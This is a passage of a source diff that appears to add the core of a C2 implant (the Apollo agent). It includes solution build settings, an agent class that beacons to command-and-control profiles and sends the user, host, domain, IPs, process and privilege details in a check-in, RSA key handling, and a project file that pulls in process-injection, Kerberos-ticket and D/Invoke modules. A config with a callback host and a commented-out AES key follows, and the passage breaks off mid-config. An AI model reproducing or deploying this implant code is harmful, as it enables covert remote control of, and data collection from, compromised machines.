{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|x86
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|x86
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|x64
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|x86
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|x86
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|x64
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|x86
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|x86
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|x64
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|x86
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|x86
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.ActiveCfg = Debug|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.Build.0 = Debug|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.ActiveCfg = Debug|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.Build.0 = Debug|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.Build.0 = Release|Any CPU
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.ActiveCfg = Release|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.Build.0 = Release|x64
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.ActiveCfg = Release|x86
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.Build.0 = Release|x86
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.ActiveCfg = Debug|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.Build.0 = Debug|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.ActiveCfg = Debug|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.Build.0 = Debug|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.Build.0 = Release|Any CPU
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.ActiveCfg = Release|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.Build.0 = Release|x64
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.ActiveCfg = Release|x86
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.Build.0 = Release|x86
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.Build.0 = Debug|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.ActiveCfg = Debug|x64
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.Build.0 = Debug|x64
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.ActiveCfg = Debug|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.Build.0 = Debug|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.ActiveCfg = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.Build.0 = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.ActiveCfg = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.Build.0 = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.ActiveCfg = Release|Any CPU
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.Build.0 = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.ActiveCfg = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.Build.0 = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.ActiveCfg = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.Build.0 = Debug|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.Build.0 = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.ActiveCfg = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.Build.0 = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.ActiveCfg = Release|Any CPU
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.Build.0 = Release|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.ActiveCfg = Debug|x64
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.Build.0 = Debug|x64
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.ActiveCfg = Debug|x86
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.Build.0 = Debug|x86
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.Build.0 = Release|Any CPU
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.ActiveCfg = Release|x64
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.Build.0 = Release|x64
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.ActiveCfg = Release|x86
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.Build.0 = Release|x86
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|Any CPU.ActiveCfg = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x64.ActiveCfg = Debug|x64
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.ActiveCfg = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.Build.0 = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|Any CPU.ActiveCfg = Debug|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x64.ActiveCfg = Release|x64
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.Build.0 = Debug|Any CPU
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.ActiveCfg = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.Build.0 = Debug|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.ActiveCfg = Release|Any CPU
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.Build.0 = Release|Any CPU
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.ActiveCfg = Release|x86
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.Build.0 = Release|x86
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.ActiveCfg = Debug|x64
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.Build.0 = Debug|x64
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.ActiveCfg = Debug|x86
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.Build.0 = Debug|x86
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.Build.0 = Release|Any CPU
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.ActiveCfg = Release|x64
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.Build.0 = Release|x64
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.ActiveCfg = Release|x86
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.Build.0 = Release|x86
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.Build.0 = Debug|Any CPU
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.ActiveCfg = Debug|x64
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.Build.0 = Debug|x64
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.ActiveCfg = Debug|x86
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.Build.0 = Debug|x86
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.ActiveCfg = Release|Any CPU
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.Build.0 = Release|Any CPU
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.ActiveCfg = Release|x64
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.Build.0 = Release|x64
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.ActiveCfg = Release|x86
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.Build.0 = Release|x86
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76}
EndGlobalSection
EndGlobal
@@ -0,0 +1,175 @@
using System;
using System.Linq;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using AM = Apollo.Management;
using System.Net;
using System.Net.Sockets;
using Microsoft.Win32;
using System.Net.NetworkInformation;
using System.Collections.Generic;
using System.IO;
namespace Apollo.Agent
{
public class Apollo : ApolloInterop.Classes.Agent
{
public Apollo(string uuid) : base(uuid)
{
Api = new Api.Api();
C2ProfileManager = new AM.C2.C2ProfileManager(this);
PeerManager = new AM.Peer.PeerManager(this);
SocksManager = new AM.Socks.SocksManager(this);
RpfwdManager = new AM.Rpfwd.RpfwdManager(this);
TaskManager = new AM.Tasks.TaskManager(this);
FileManager = new AM.Files.FileManager(this);
IdentityManager = new AM.Identity.IdentityManager(this);
ProcessManager = new Process.ProcessManager(this);
InjectionManager = new Injection.InjectionManager(this);
TicketManager = new KerberosTickets.KerberosTicketManager(this);
foreach (string profileName in Config.EgressProfiles.Keys)
{
var map = Config.EgressProfiles[profileName];
var crypto = CreateType(map.TCryptography, new object[] { Config.PayloadUUID, Config.StagingRSAPrivateKey });
var serializer = CreateType(map.TSerializer, new object[] { crypto });
var c2 = CreateType(map.TC2Profile, new object[]
{
map.Parameters,
(ISerializer)serializer,
this
});
C2ProfileManager.AddEgress((IC2Profile)c2);
}
if (C2ProfileManager.GetEgressCollection().Length == 0)
{
throw new Exception("No egress profiles specified.");
}
foreach (string profileName in Config.IngressProfiles.Keys)
{
var map = Config.EgressProfiles[profileName];
var crypto = CreateType(map.TCryptography, new object[] { Config.PayloadUUID, Config.StagingRSAPrivateKey });
var serializer = CreateType(map.TSerializer, new object[] { crypto });
var c2 = CreateType(map.TC2Profile, new object[]
{
map.Parameters,
(ISerializer)serializer,
this
});
C2ProfileManager.AddIngress((IC2Profile)c2);
}
}
public override void Start()
{
while (Alive)
{
if (Checkin())
{
IC2Profile[] c2s = C2ProfileManager.GetConnectedEgressCollection();
foreach(var c2 in c2s)
{
c2.Start();
}
}
System.Threading.Thread.Sleep(1000);
}
}
private static string[] GetIPs()
{
var ifaces = NetworkInterface.GetAllNetworkInterfaces()
.Where(iface =>
iface.OperationalStatus == OperationalStatus.Up && iface.NetworkInterfaceType != NetworkInterfaceType.Loopback
)
.OrderBy(iface => iface.GetIPProperties().GatewayAddresses.ToArray().Length); // Push interfaces with a gateway to the front
var ipaddrs = new List<string>();
foreach (var iface in ifaces)
{
var addrs = iface.GetIPProperties().UnicastAddresses;
// Put the IPv4 addresses before the IPv6 addresses
ipaddrs.AddRange(
addrs.Where(addr => addr.Address.AddressFamily == AddressFamily.InterNetwork)
.Select(addr => addr.Address.ToString())
);
ipaddrs.AddRange(
addrs.Where(addr => addr.Address.AddressFamily == AddressFamily.InterNetworkV6)
.Select(addr => addr.Address.ToString())
);
}
return [.. ipaddrs];
}
private static string GetOSVersion()
{
return Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName", "").ToString() + " " + Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", "");
}
private bool Checkin()
{
CheckinMessage msg = new CheckinMessage()
{
Action = "checkin",
OS = $"{GetOSVersion()} {Environment.OSVersion.Version}",
User = Environment.UserName,
Host = Dns.GetHostName(),
PID = System.Diagnostics.Process.GetCurrentProcess().Id,
ProcessName = System.Diagnostics.Process.GetCurrentProcess().ProcessName,
IPs = GetIPs(),
UUID = UUID,
Architecture = IntPtr.Size == 8 ? "x64" : "x86",
Domain = Environment.UserDomainName,
// Modify this later.
IntegrityLevel = IdentityManager.GetIntegrityLevel(),
ExternalIP = "",
Cwd= Directory.GetCurrentDirectory(),
};
IC2Profile connectProfile = null;
bool bRet = false;
foreach(var profile in C2ProfileManager.GetEgressCollection())
{
try
{
if (profile.Connect(msg, delegate (MessageResponse r)
{
connectProfile = profile;
UUID = r.ID;
bRet = true;
return bRet;
}))
{
break;
}
} catch(Exception ex)
{
}
}
return bRet;
}
private object CreateType(Type t, object[] args)
{
var ctors = t.GetConstructors();
return ctors[0].Invoke(args);
}
public override void Exit()
{
base.Exit();
}
}
}
@@ -0,0 +1,74 @@
using ApolloInterop.Interfaces;
using System;
using ApolloInterop.Classes;
using PlaintextCryptography;
using PSKCryptography;
using ApolloInterop.Serializers;
using ApolloInterop.Classes.Api;
using SimpleResolver;
namespace Apollo.Api
{
public class Api : IApi
{
private IWin32ApiResolver _win32ApiResolver;
public Api()
{
_win32ApiResolver = new GetProcResolver();
}
public string NewUUID()
{
return Guid.NewGuid().ToString();
}
public RSAKeyGenerator NewRSAKeyPair(int szKey)
{
return new Cryptography.RSA.RSAKeyPair(szKey);
}
public ICryptographySerializer NewEncryptedJsonSerializer(string uuid, Type cryptoType, string key = "")
{
if (string.IsNullOrEmpty(key))
{
Cryptography.RSA.RSAKeyPair keys = new Cryptography.RSA.RSAKeyPair(4096);
key = keys.PrivateKey;
}
//string aesKey = "ACstCeIXHEqdn/QM3YsAX24yfRUX6JBtOdhkAwnfQrw=";
//string uuid = "9f006dd8-7036-455b-99ed-d0b5f19ba921";
EncryptedJsonSerializer result;
if (cryptoType == typeof(PlaintextCryptographyProvider))
{
PlaintextCryptographyProvider plain = new PlaintextCryptographyProvider(uuid, key);
result = new EncryptedJsonSerializer(plain);
} else if (cryptoType == typeof(PSKCryptographyProvider))
{
PSKCryptographyProvider psk = new PSKCryptographyProvider(uuid, key);
result = new EncryptedJsonSerializer(psk);
}
else
{
throw new ArgumentException($"Unsupported cryptography type: {cryptoType.Name}");
}
return result;
}
public T GetLibraryFunction<T>(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate
{
return _win32ApiResolver.GetLibraryFunction<T>(library, functionName, canLoadFromDisk, resolveForwards);
}
public T GetLibraryFunction<T>(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate
{
return _win32ApiResolver.GetLibraryFunction<T>(library, ordinal, canLoadFromDisk, resolveForwards);
}
public T GetLibraryFunction<T>(Library library, string functionHash, long key, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate
{
return _win32ApiResolver.GetLibraryFunction<T>(library, functionHash, key, canLoadFromDisk, resolveForwards);
}
}
}
@@ -0,0 +1,180 @@
using System;
using System.IO;
using System.Security.Cryptography;
using ApolloInterop.Classes;
namespace Apollo.Api.Cryptography
{
public static class RSA
{
public class RSAKeyPair : RSAKeyGenerator
{
public string PublicKey;
public string PrivateKey;
public RSAKeyPair(int szKey) : base(szKey)
{
RSA = new RSACryptoServiceProvider(szKey)
{
PersistKeyInCsp = false
};
PublicKey = ExportPublicKey();
PrivateKey = ExportPrivateKey();
}
public RSAKeyPair(RSACryptoServiceProvider provider) : base(provider)
{
PublicKey = ExportPublicKey();
PrivateKey = ExportPrivateKey();
}
public override String ExportPrivateKey()
{
TextWriter outputStream = new StringWriter();
if (RSA.PublicOnly) throw new ArgumentException("CSP does not contain a private key", "csp");
var parameters = RSA.ExportParameters(true);
using (var stream = new MemoryStream())
{
var writer = new BinaryWriter(stream);
writer.Write((byte)0x30); // SEQUENCE
using (var innerStream = new MemoryStream())
{
var innerWriter = new BinaryWriter(innerStream);
EncodeIntegerBigEndian(innerWriter, new byte[] { 0x00 }); // Version
EncodeIntegerBigEndian(innerWriter, parameters.Modulus);
EncodeIntegerBigEndian(innerWriter, parameters.Exponent);
EncodeIntegerBigEndian(innerWriter, parameters.D);
EncodeIntegerBigEndian(innerWriter, parameters.P);
EncodeIntegerBigEndian(innerWriter, parameters.Q);
EncodeIntegerBigEndian(innerWriter, parameters.DP);
EncodeIntegerBigEndian(innerWriter, parameters.DQ);
EncodeIntegerBigEndian(innerWriter, parameters.InverseQ);
var length = (int)innerStream.Length;
EncodeLength(writer, length);
writer.Write(innerStream.GetBuffer(), 0, length);
}
var base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length).ToCharArray();
outputStream.WriteLine("-----BEGIN RSA PRIVATE KEY-----");
// Output as Base64 with lines chopped at 64 characters
for (var i = 0; i < base64.Length; i += 64)
{
outputStream.WriteLine(base64, i, Math.Min(64, base64.Length - i));
}
outputStream.WriteLine("-----END RSA PRIVATE KEY-----");
}
return outputStream.ToString();
}
public override String ExportPublicKey()
{
StringWriter outputStream = new StringWriter();
var parameters = RSA.ExportParameters(false);
using (var stream = new MemoryStream())
{
var writer = new BinaryWriter(stream);
writer.Write((byte)0x30); // SEQUENCE
using (var innerStream = new MemoryStream())
{
var innerWriter = new BinaryWriter(innerStream);
innerWriter.Write((byte)0x30); // SEQUENCE
EncodeLength(innerWriter, 13);
innerWriter.Write((byte)0x06); // OBJECT IDENTIFIER
var rsaEncryptionOid = new byte[] { 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01 };
EncodeLength(innerWriter, rsaEncryptionOid.Length);
innerWriter.Write(rsaEncryptionOid);
innerWriter.Write((byte)0x05); // NULL
EncodeLength(innerWriter, 0);
innerWriter.Write((byte)0x03); // BIT STRING
using (var bitStringStream = new MemoryStream())
{
var bitStringWriter = new BinaryWriter(bitStringStream);
bitStringWriter.Write((byte)0x00); // # of unused bits
bitStringWriter.Write((byte)0x30); // SEQUENCE
using (var paramsStream = new MemoryStream())
{
var paramsWriter = new BinaryWriter(paramsStream);
EncodeIntegerBigEndian(paramsWriter, parameters.Modulus); // Modulus
EncodeIntegerBigEndian(paramsWriter, parameters.Exponent); // Exponent
var paramsLength = (int)paramsStream.Length;
EncodeLength(bitStringWriter, paramsLength);
bitStringWriter.Write(paramsStream.GetBuffer(), 0, paramsLength);
}
var bitStringLength = (int)bitStringStream.Length;
EncodeLength(innerWriter, bitStringLength);
innerWriter.Write(bitStringStream.GetBuffer(), 0, bitStringLength);
}
var length = (int)innerStream.Length;
EncodeLength(writer, length);
writer.Write(innerStream.GetBuffer(), 0, length);
}
string base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length);
return base64;
}
}
private static void EncodeLength(BinaryWriter stream, int length)
{
if (length < 0) throw new ArgumentOutOfRangeException("length", "Length must be non-negative");
if (length < 0x80)
{
// Short form
stream.Write((byte)length);
}
else
{
// Long form
var temp = length;
var bytesRequired = 0;
while (temp > 0)
{
temp >>= 8;
bytesRequired++;
}
stream.Write((byte)(bytesRequired | 0x80));
for (var i = bytesRequired - 1; i >= 0; i--)
{
stream.Write((byte)(length >> (8 * i) & 0xff));
}
}
}
private static void EncodeIntegerBigEndian(BinaryWriter stream, byte[] value, bool forceUnsigned = true)
{
stream.Write((byte)0x02); // INTEGER
var prefixZeros = 0;
for (var i = 0; i < value.Length; i++)
{
if (value[i] != 0) break;
prefixZeros++;
}
if (value.Length - prefixZeros == 0)
{
EncodeLength(stream, 1);
stream.Write((byte)0);
}
else
{
if (forceUnsigned && value[prefixZeros] > 0x7f)
{
// Add a prefix zero to force unsigned if the MSB is 1
EncodeLength(stream, value.Length - prefixZeros + 1);
stream.Write((byte)0);
}
else
{
EncodeLength(stream, value.Length - prefixZeros);
}
for (var i = prefixZeros; i < value.Length; i++)
{
stream.Write(value[i]);
}
}
}
}
}
}
@@ -0,0 +1,43 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net451</TargetFramework>
<OutputType>Exe</OutputType>
<LangVersion>12</LangVersion>
<Nullable>enable</Nullable>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<Platforms>AnyCPU;x64;x86</Platforms>
</PropertyGroup>
<ItemGroup>
<Reference Include="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\..\..\..\..\..\..\..\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll</HintPath>
</Reference>
<Reference Include="System.Security" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\ApolloInterop\ApolloInterop.csproj" />
<ProjectReference Include="..\DInvokeResolver\DInvokeResolver.csproj" />
<ProjectReference Include="..\EncryptedFileStore\EncryptedFileStore.csproj" />
<ProjectReference Include="..\HttpProfile\HttpProfile.csproj" />
<ProjectReference Include="..\HttpxProfile\HttpxProfile.csproj" />
<ProjectReference Include="..\HttpxTransform\HttpxTransform.csproj" />
<ProjectReference Include="..\Injection\Injection.csproj" />
<ProjectReference Include="..\KerberosTickets\KerberosTickets.csproj" />
<ProjectReference Include="..\NamedPipeProfile\NamedPipeProfile.csproj" />
<ProjectReference Include="..\PlaintextCrypto\PlaintextCryptography.csproj" />
<ProjectReference Include="..\Process\Process.csproj" />
<ProjectReference Include="..\PSKCrypto\PSKCryptography.csproj" />
<ProjectReference Include="..\SimpleResolver\SimpleResolver.csproj" />
<ProjectReference Include="..\Tasks\Tasks.csproj" />
<ProjectReference Include="..\TcpProfile\TcpProfile.csproj" />
<ProjectReference Include="..\WebsocketProfile\WebsocketProfile.csproj" />
<ProjectReference Include="..\AzureBlobProfile\AzureBlobProfile.csproj" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Costura.Fody" Version="5.7.0" PrivateAssets="All" />
<PackageReference Include="Microsoft.CSharp" Version="4.7.0" />
<PackageReference Include="PolySharp" Version="1.14.1" />
<PackageReference Include="System.Data.DataSetExtensions" Version="4.5.0" />
</ItemGroup>
</Project>
@@ -0,0 +1,294 @@
#define C2PROFILE_NAME_UPPER
//#define LOCAL_BUILD
#if LOCAL_BUILD
//#define HTTP
//#define WEBSOCKET
//#define TCP
//#define SMB
//#define AZURE_BLOB
//#define HTTPX
#endif
#if HTTP
using HttpTransport;
#endif
#if HTTPX
using HttpxTransport;
#endif
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using ApolloInterop.Structs.ApolloStructs;
using PSKCryptography;
using ApolloInterop.Serializers;
#if WEBSOCKET
using WebsocketTransport;
#endif
#if SMB
using NamedPipeTransport;
#endif
#if TCP
using TcpTransport;
#endif
#if AZURE_BLOB
using AzureBlobTransport;
#endif
namespace Apollo
{
public static class Config
{
public static Dictionary<string, C2ProfileData> EgressProfiles = new Dictionary<string, C2ProfileData>()
{
#if HTTP
{ "http", new C2ProfileData()
{
TC2Profile = typeof(HttpProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "callback_interval", "1" },
{ "callback_jitter", "0" },
{ "callback_port", "80" },
{ "callback_host", "http://192.168.53.1" },
{ "post_uri", "data" },
{ "encrypted_exchange_check", "T" },
{ "proxy_host", "" },
{ "proxy_port", "" },
{ "proxy_user", "" },
{ "proxy_pass", "" },
{ "domain_front", "domain_front" },
{ "killdate", "-1" },
